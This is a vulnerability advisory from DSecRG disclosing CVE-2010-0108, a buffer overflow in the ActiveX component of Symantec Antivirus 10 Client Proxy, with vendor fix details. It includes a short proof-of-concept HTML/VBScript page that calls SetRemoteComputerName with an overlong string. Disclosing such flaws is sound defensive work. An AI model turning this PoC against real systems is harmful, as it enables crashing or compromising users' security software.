Symantec Antivirus 10.0 ActiveX

Symantec Antivirus Client Proxy, CLIproxy.dll contains ActiveX component which is vulnerable to Buffer overflow attack.

Digital Security Research Group [DSecRG] Advisory #DSECRG-09-039

Application: Symantec Antivirus Client Proxy
Versions Affected: Version 10
Vendor URL: http://symantec.com
Bugs: Buffer Overflow
Exploits: POC
Reported: 04.05.2009
Vendor response: 07.05.2009
Date of Public Advisory: 17.02.2010
CVE-number: CVE-2010-0108
Author: Alexander Polyakov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Details
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Attacker can construct html page which call vulnerable function "SetRemoteComputerName" from ActiveX Object cliproxy.objects.1 with long parameter

Example
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<html>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' />
<script language='vbscript'>

arg1=String(7188, "A")

target.SetRemoteComputerName arg1

</script>
</html>

Fix Information
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Symantec product engineers have released a fix for this issue in the MR9 update. Symantec recommends all customers apply the latest available update to protect against threats of this nature.
Symantec is not aware of any exploitation of or adverse customer impact from these issues.

References
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Symantec would like to thank Alexander Polyakov from DSecRG for reporting these issues and coordinating with us while Symantec resolved them.

http://dsecrg.com/pages/vul/show.php?id=139

http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2010&suid=20100217_02